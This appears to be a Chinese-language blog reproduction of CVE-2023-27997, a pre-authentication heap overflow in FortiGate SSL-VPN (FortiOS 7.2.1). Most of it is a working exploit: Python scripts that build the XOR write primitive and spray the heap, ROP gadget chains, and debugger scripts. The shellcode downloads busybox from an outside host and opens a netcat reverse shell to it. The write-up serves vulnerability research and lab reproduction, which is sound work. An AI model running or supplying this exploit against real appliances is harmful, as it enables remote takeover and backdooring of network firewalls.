CVE-2023-27997 复现

本文复现CVE-2023-27997,版本v7.2.1.F-build1254
环境搭建见上一篇

漏洞信息:

sslvpn在/remote/hostcheck_validate/remote/logincheck端点中解码 URL 参数时进行了不正确的大小检查
请求中的enc参数会传入parse_enc_data,enc结构如下图包含了seed, size, ciphertext三部分
Pasted image 20240825194540.png

首先有一个check检测传入的enc长度是否大于11并且为偶数

  in_len = v4;
  lenofData = v4;
  if ( v4 <= 11 || (v4 & 1) != 0 )
  {
    sub_16CFA20(a1, 8, (unsigned int)"enc data length invalid (%d)\n", v4, v5, v6);
    return 0xFFFFFFFFLL;
  }

满足check条件后会分配一块strlen(enc)/2+1的缓冲区

v25 = (_BYTE *)fsv_malloc(*a2, (in_len >> 1) + 1);

并将传过去的数据转换为16进制字节流的形式,例如将01020a0d字符串转换为\x01\x02\x0a\x0d存储在buffer中,这也是为什么buffer按 enc长度/2 +1 分配

后续会进入另一个边界check,将enc参数长度与的enc_size(payloadLength)比较,如果传入的长度-5大于定义的长度即可pass
这里本来应该将分配的缓冲区的大小跟这里的payloadLength比较,但是实际上将传入的参数长度与定义长度比较,

if ( in_len - 5 <= (unsigned __int16)payloadLength )
      {
        sub_16CFA20(
          a1,
          8,
          (unsigned int)"invalid enc data length: %d\n",
          (unsigned __int16)payloadLength,
          (unsigned __int16)payloadLength,
          v10);
        return 1LL;
      }

构造堆块大小<payloadLength<in_len-5可以绕过if进入漏洞利用处,由于payloadLength大于堆块大小,可以越界写,不过每次xor会有脏数据

        v16 = v12 + 6;
        v25 = v16;
        if ( (_WORD)payloadLength )
        {
          v17 = (unsigned int)(unsigned __int16)payloadLength - 1;
          v18 = 0LL;
          v19 = 2;
          while ( 1 )
          {
            v16[v18] ^= v28[v19];
            if ( v17 == v18 )
              break;
            v19 = ((_BYTE)v18 + 3) & 0xF;
            if ( (((_BYTE)v18 + 3) & 0xF) == 0 )
            {
              v24 = payloadLength;
              MD5_Init(v27);
              MD5_Update(v27, v28, 16LL);
              MD5_Final(v28, v27);
              payloadLength = v24;
            }
            v16 = v25;
            ++v18;
          }
          v16 = &v25[(unsigned __int16)payloadLength];
        }
        *v16 = 0; // off-by-null

而这里每次末尾会置null,这篇文章给出了一个越界写原语:
https://blog.lexfo.fr/xortigate-cve-2023-27997.html
即利用两次xor值不变的方式来写数据,如下图
第一次写4999处的数据,会在5000处置0
第二次在5000处进行xor的时候就可以写想要的字节,并在5001处置0...
Pasted image 20240827165003.png

使用以下payload发送,可以创建一个0x1000大小的堆块,此时in_len大概是0x1fcx
为了保证堆块大小<payloadLength<in_len-5从而触发堆溢出,定义payloadLength大小为0x1f00
发送的data长度控制在0x1000-0x18-0x7,0x18为jemalloc分配堆块的标头长度,0x7为4字节seed+2字节size+1字节终止符,gdb跟踪一下

import socket
import ssl
from pwn import *
from hashlib import md5


ip = "192.168.122.99"
port = 1443


path = "/remote/hostcheck_validate".encode()


def create_ssl_ctx():
    _socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    _default_context = ssl._create_unverified_context()
    _default_context.options |= ssl.OP_NO_TLSv1_3
    _socket = _default_context.wrap_socket(_socket)
    _socket.connect((ip, port))
    return _socket


def get_salt():
    sk = create_ssl_ctx()
    sk.sendall(b"GET /remote/info HTTP/1.1\r\nHost:"+ip.encode()+b"\r\n\r\n")
    data = sk.recv(1024)
    # print(data)
    sk.close()
    salt = data[data.find(b"salt=")+6:data.find(b"salt=")+14]
    info("salt: "+str(salt))
    return salt


def gen_ks(salt, seed, size):
    magic = b'GCC is the GNU Compiler Collection.'
    k0 = md5(salt+seed+magic).digest()
    keystream = k0
    while len(keystream) < size:
        k0 = md5(k0).digest()
        keystream += k0
    return keystream[:size]


def gen_enc_data(salt, seed, size, data):
    plaintext = struct.pack("<H", size) + data
    keystream = gen_ks(salt, seed, len(plaintext))
    ciphertext = bytes(x[0] ^ x[1] for x in zip(plaintext, keystream)).hex()
    return seed.decode()+ciphertext


socks = []

# get_salt()

_sk = create_ssl_ctx()

payload = b"enc="+gen_enc_data(get_salt(),
                               b'deadbeef', 0x1f00, b'A'*(0x1000-0x18-7)).encode()
rq = b"POST " + path + b" HTTP/1.1\r\nHost: 192.168.122.99\r\nContent-Length: " + \
    str(len(payload)).encode() + \
    b"\r\nUser-Agent: Mozilla/5.0\r\nContent-Type: text/plain;charset=UTF-8\r\nAccept: */*\r\n\r\n"+payload

print(rq)

_sk.sendall(rq)

response = _sk.recv(1024)
print(response)

_sk.close()

验证了最开始传进来的in_len即enc=后的keystream长度
Pasted image 20240827155703.png
跟进到fsv_malloc处,rsi通过移位+1操作以及变为0xfe8
然后将enc字段中的字符串每2字节组成一个十六进制字节存入

pwndbg> x/10gx 0x7f146c302018
0x7f146c302018: 0x6665656264616564      0x6437316561396532
0x7f146c302028: 0x3432623766346433      0x3065356531616161
0x7f146c302038: 0x6565653262653862      0x3734363738343436
0x7f146c302048: 0x3562623530356363      0x3535396430383531
0x7f146c302058: 0x6365636632396136      0x3238656537393536
pwndbg> x/10gx 0x7f146c2f3018
0x7f146c2f3018: 0x7de19a2eefbeadde      0xe0e5a1aa247b4f3d
0x7f146c2f3028: 0x47764864ee2eebb8      0x55d98015b55b50cc
0x7f146c2f3038: 0x82ee9765ecfc926a      0x6a0252dd8edeb094
0x7f146c2f3048: 0x069d945198969402      0x2d92992b0498576c
0x7f146c2f3058: 0xa90995f0ee049316      0x6568631231fde5d8
pwndbg> x/10bs 0x7f146c302018
0x7f146c302018: "deadbeef2e9ae17d3d4f7b24aaa1e5e0b8eb2eee64487647cc505bb51580d9556a92fcec6597ee8294b0de8edd52026a0294969851949d066c5798042b99922d169304eef09509a9d8e5fd311295c1d20b1cd41fa5315cdf9cda14447ab341f6e1c3d1bf"...

分配堆块位于0x7f146c2f3000处,大小0x1000 bytes

pwndbg> x/10gx 0x7f146c2f3000
0x7f146c2f3000: 0x00007f146c2f4000      0x0000000000000000
0x7f146c2f3010: 0x00007f146c2f4000      0x7de19a2eefbeadde
0x7f146c2f3020: 0xe0e5a1aa247b4f3d      0x47764864ee2eebb8
0x7f146c2f3030: 0x55d98015b55b50cc      0x82ee9765ecfc926a
0x7f146c2f3040: 0x6a0252dd8edeb094      0x069d945198969402
pwndbg> dist 0x7f146c2f3000 0x00007f146c2f4000
0x7f146c2f3000->0x7f146c2f4000 is 0x1000 bytes (0x200 words)

漏洞利用:

堆排布:

断点下在SSL_new之后单步前进,到

   0x7f147197eb41     call   CRYPTO_zalloc@plt                <CRYPTO_zalloc@plt>

查看可知7.2.1版本分配的ssl结构体大小为0x1db8
根据lexfo博客中的思路,我们还是选择堆喷覆盖handshake_func:
https://blog.lexfo.fr/xortigate-cve-2023-27997.html

注意堆喷需要在一次ssl请求中完成,请求完成后会释放,会写入的数据清0

以7.2.1为例,以下为堆喷步骤:
1. 创建大量的socket连接,填充buffer
Pasted image 20240830151000.png
2. 在其中一个socket连接发送大量数据,使http请求的buffer重新分配
Pasted image 20240830151051.png
3. 建立含payload的socket连接get_salt并发送,该socket会被分配到刚才free掉的buffer,此时堆溢出写结构体指针
Pasted image 20240830151308.png
4. 其余socket连接发送data,触发函数指针引用

这里改了用了一个原生gdb的logging功能,打印存放keystream的地址(和存放HTTP请求的地址相邻,差0x18),以及分配ssl结构体的地址

target remote 192.168.122.99:23
set height 0
set pagination off
set disassembly-flavor intel
handle SIGPIPE nostop
shell rm -f ssl_chunk.txt ssl_obj.txt je_malloc.txt keystream.txt

# break after allocating the buffer grab the address
# b *0x01776baa
# commands
#     set logging file ssl_chunk.txt
#     set logging enable on
#     set $heap_obj = $rax
#     printf "buffer: %p\n", $heap_obj
#     set logging enable off
#     c
# end
# print address of SSL objects when malloc'd
b *CRYPTO_zalloc+37 if  ( $r12 == 0x1db8 )
commands
    set logging file ssl_obj.txt
    set logging enable on
    printf "CRYPTO_zalloc(0x%x) = %p\n", $r12, $rax
    set logging enable off
    c
end

# break in je_malloc in case something calls je_malloc directly
b *0x1776baa if (($r13 ==0x2000))
commands
    set logging file je_malloc.txt
    set logging enable on
    printf "je_malloc(0x%x) = %p\n", $r13 , $rax
    set logging enable off
    c
end

b *0x16adf15 
commands
    set logging file keystream.txt
    set logging enable on
    printf "keystream_loc = %p\n" , $rdx
    set logging enable off
    c
end

如图,我们在堆上喷射大量socket buffer后能够溢出到其中某一个ssl结构体,修改handshake函数指针并覆盖in_init为1,劫持执行流
Pasted image 20240830151740.png

Pasted image 20240901233231.png

payload构造:

此刻$rdi,$rbp指向ssl结构体开头,由于ssl结构体存在不可写区域,我们可以利用以下gadget将栈迁移到out buffer进行rop

push_rdi_pop_rsp_ret = 0x98bed1
# 0x000000000098bed1 : push rdi ; pop rsp ; ret 栈迁移到ssl结构体起始地址

add_rsp_0xb8_pop_rbx_rbp_ret = 0x2a49fa3
# 0x0000000002a49fa3 : add rsp, 0xb8 ; pop rbx ; pop rbp ; ret

pop_rax_rdx_ret = 0x60bda4
# 0x000000000060bda4 : pop rax ; pop rdx ; ret 8字节padding rax , rdx为ssl_offset

mov_rax_rdi_sub_rax_rdx_ret = 0x14bd8cf
# 0x00000000014bd8cf : mov rax, rdi ; sub rax, rdx ; ret 取ssl结构体起始地址给rax并减去rdx,使rax指向out区域

push_rax_pop_rsp_ret = 0xe72240
# 0x0000000000e72240 : push rax ; pop rsp ; xor eax, eax ; ret  迁栈到out区域

Pasted image 20240902163611.png
这里最后采用的是ret2mprotect然后跳转执行shellcode,执行execlp("/bin/node","node","-e","...",NULL),即通过fortios自带的/bin/node程序执行后门下载以及反弹shell

from hashlib import md5
from pwn import *
import requests
import time
import ssl
import socket
context.os = 'linux'
context.arch = 'amd64'

ip = "192.168.122.99"
port = 1443

path = "/remote/hostcheck_validate".encode()


def create_ssl_ctx():
    _socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    _default_context = ssl._create_unverified_context()
    _default_context.options |= ssl.OP_NO_TLSv1_3
    _socket = _default_context.wrap_socket(_socket)
    _socket.connect((ip, port))
    return _socket


def get_salt(sk):
    sk.sendall(b"GET /remote/info HTTP/1.1\r\nHost:"+ip.encode()+b"\r\n\r\n")
    data = sk.recv(1024)
    # print(data)
    # sk.close()
    salt = data[data.find(b"salt=")+6:data.find(b"salt=")+14]
    info("salt: "+str(salt))
    return salt


def gen_ks(salt, seed, size):
    magic = b'GCC is the GNU Compiler Collection.'
    k0 = md5(salt+seed+magic).digest()
    keystream = k0
    while len(keystream) < size:
        k0 = md5(k0).digest()
        keystream += k0
    return keystream[:size]


def gen_enc_data(salt, seed, size, data):
    plaintext = p16(size) + data
    keystream = gen_ks(salt, seed, len(plaintext))
    ciphertext = xor(plaintext, keystream).hex()
    return seed + ciphertext.encode()


def gen_seed_for_offset(salt, offset, value):
    for i in range(0xffffff):
        seed = "00{0:06x}".format(i).encode()
        ks = gen_ks(salt, seed, offset+1)
        if int(ks[offset]) == int(value):
            print("seed found: "+str(seed))
            print("keystream: "+hex(ks[offset]))
            print("value: "+str(value))
            print("offset: "+str(offset))
            return seed
    print("keystream not found")
    exit(1)


def gen_seeds_u8(salt, offset, val):
    value = p8(val)
    if val == 0:
        return [(b'00bfbfbf', offset - 1), (b'00bfbfbf', offset - 1)]
    s = gen_seed_for_offset(salt, offset, value[0])
    return [(s, offset - 2), (s, offset - 1)]


def gen_seeds_u64(salt, offset, val):
    value = p64(val)
    seeds = []
    n = 7
    for i in range(n, -1, -1):
        if value[i] != 0:
            s = gen_seed_for_offset(salt, offset + i, value[i])
            seeds.append((s, offset + i - 1))
            seeds.append((s, offset + i - 2))
        else:
            seeds.append((b'00bfbfbf', offset + i - 1))
            seeds.append((b'00bfbfbf', offset + i - 1))
    return seeds[::-1]


def gen_payload():
    # 0x15ea350  call _execlp
    shellcode = asm('''
    lea rdi, [rip+arg1]
    lea rsi, [rip+arg2]
    lea rdx, [rip+arg3]
    lea rcx, [rip+arg4]
    mov r8, 0x0
    mov rax, 0x15ea350
    jmp rax

arg1:
    .string "/bin/node"

arg2:
    .string "node"
    
arg3:
    .string "-e"

arg4:
    .string "const http=require('http');const fs=require('fs');const {spawn}=require('child_process');const fileUrl='http://192.168.122.128:8000/busybox';const args=['nc', '192.168.122.128', '1234', '-e', '/bin/busybox', 'ash'];const command='/bin/busybox';const create=(err) => {console.log('i');};try {fs.chmod('/bin/busybox', 0o777, (err) => {});} catch (err) {};try {fs.symlinkSync('/bin/busybox', '/bin/nc');} catch (err) {};try {fs.unlink('/bin/nc', (err)=>{fs.unlink('/bin/ash', (err) => {fs.symlinkSync('/bin/busybox', '/bin/ash');});})}catch (err){};process.on('uncaughtException', create);const df=(url, dest) => {const file=fs.createWriteStream(dest);http.get(url, (response) => {response.pipe(file);file.on('finish', () => {file.close(() => {create();});});}).on('error', (err) => {});};const executeFile=(err) => {const child=spawn(command,args, {stdio: 'inherit' });};df(fileUrl, '/bin/busybox');console.log('d');create();executeFile();"
                    ''')

    push_rsp_pop_rcx_ret = 0x805b38
    # 0x0000000000805b38 : push rsp ; pop rcx ; ret 修改rcx为当前栈指针

    push_rcx_pop_rdx_ret = 0x12ce92b
    # 0x00000000012ce92b : push rcx ; pop rdx ; ret 修改rdx为栈指针

    pop_rax_ret = 0x46bb27
    # 0x000000000046bb27 : pop rax ; ret 页偏移rax 0x26?

    sub_rdx_rax_mov_rax_rdx_ret = 0x285a384
    # 0x000000000285a384 : sub rdx, rax ; mov rax, rdx ; ret rdx减去页偏移

    push_rdx_pop_rdi_ret = 0x257008a
    # 0x000000000257008a : push rdx ; pop rdi ; ret 修改rdi为栈指针

    pop_rsi_ret = 0x530c8e
    # 0x0000000000530c8e : pop rsi ; ret 内存块大小

    pop_rdx_ret = 0x509372
    # 0x0000000000509372 : pop rdx ; ret prot位

    mprotect_addr = 0x43f3d0

    add_rax_rdi_ret = 0x7d4f3d
    # 0x00000000007d4f3d : add rax, rdi ; ret

    push_rax_ret = 0x43dccc
    # 0x000000000043dccc : push rax ; ret

    payload = p64(0)
    payload += p64(push_rsp_pop_rcx_ret)
    payload += p64(push_rcx_pop_rdx_ret)
    payload += p64(pop_rax_ret)
    payload += p64(0x2e+0x7e000)
    payload += p64(sub_rdx_rax_mov_rax_rdx_ret)
    payload += p64(push_rdx_pop_rdi_ret)
    payload += p64(pop_rsi_ret)
    payload += p64(0x300000)
    payload += p64(pop_rdx_ret)
    payload += p64(7)
    payload += p64(mprotect_addr)
    # payload += p64(0xdeadbeef)
    payload += p64(pop_rax_ret)
    payload += p64(0x15e+0x7e000)
    payload += p64(add_rax_rdi_ret)
    payload += p64(push_rax_ret)
    payload = payload.ljust(0x150, b"\x90")
    payload += shellcode

    return payload.ljust(0x2000-0x18-7, b"A")


def send_payload(_sk, salt, seed, size, data=b''):
    payload = b"enc="+gen_enc_data(salt, seed, size, data)
    rq = b"POST " + path + b" HTTP/1.1\r\nHost: "+ip.encode()+b"\r\nContent-Length: " + \
        str(len(payload)).encode() + \
        b"\r\nUser-Agent: Mozilla/5.0\r\nContent-Type: application/x-www-form-urlencoded\r\nConnection: keep-alive\r\nAccept: */*\r\n\r\n"+payload
    _sk.sendall(rq)
    # _sk.recv(1024)


tick = 33

while True:
    tick += 1
    try:
        socks = []

        for i in range(tick):
            sk = create_ssl_ctx()
            data = b"POST " + b"/remote/login" + \
                b" HTTP/1.1\r\nHost: "+ip.encode()+b"\r\nContent-Length: 3\r\nUser-Agent: Mozilla/5.0\r\nContent-Type: application/x-www-form-urlencoded\r\nConnection: keep-alive\r\nAccept: */*\r\n\r\na=1"
            sk.sendall(data)
            socks.append(sk)

        socks[-1].send(b"B"*0x2001)

        _sk = create_ssl_ctx()
        salt = get_salt(_sk)

        ssl_offset = 0x2000-0x1e+2
        handshake_func = ssl_offset + 0x30
        in_init = ssl_offset+0x64

        seed = []

        push_rdi_pop_rsp_ret = 0x98bed1
        # 0x000000000098bed1 : push rdi ; pop rsp ; ret 栈迁移到ssl结构体起始地址

        add_rsp_0xb8_pop_rbx_rbp_ret = 0x2a49fa3
        # 0x0000000002a49fa3 : add rsp, 0xb8 ; pop rbx ; pop rbp ; ret

        pop_rax_rdx_ret = 0x60bda4
        # 0x000000000060bda4 : pop rax ; pop rdx ; ret 8字节padding rax , rdx为ssl_offset

        mov_rax_rdi_sub_rax_rdx_ret = 0x14bd8cf
        # 0x00000000014bd8cf : mov rax, rdi ; sub rax, rdx ; ret 取ssl结构体起始地址给rax并减去rdx,使rax指向out区域

        push_rax_pop_rsp_ret = 0xe72240
        # 0x0000000000e72240 : push rax ; pop rsp ; xor eax, eax ; ret  迁栈到out区域

        seed.extend(gen_seeds_u64(salt, handshake_func, push_rdi_pop_rsp_ret))
        seed.extend(gen_seeds_u64(salt, ssl_offset, pop_rax_rdx_ret))
        seed.extend(gen_seeds_u64(salt, ssl_offset+0x10, ssl_offset-2-8))
        seed.extend(gen_seeds_u64(salt, ssl_offset +
                    0x18, mov_rax_rdi_sub_rax_rdx_ret))
        seed.extend(gen_seeds_u64(salt, ssl_offset+0x20, push_rax_pop_rsp_ret))

        # seed.extend(gen_seeds_u64(salt, handshake_func, 0xdeadbeefdeadbeef))
        seed.extend(gen_seeds_u8(salt, in_init, 1))

        for i in seed:
            print(i)
            send_payload(_sk, salt, i[0], i[1], gen_payload())
            # send_payload(_sk, salt, i[0], i[1],
            #              b'\x00'*8 + p64(0xdeadbeef) + b'A'*(0x2000-0x18-7-8-8))

        counter = 0
        for i in socks:
            print(counter)
            counter += 1
            i.send(b"a"*0x40)

    except Exception as e:
        print(f"crash: {e}")
        _sk.close()
        break

27997.gif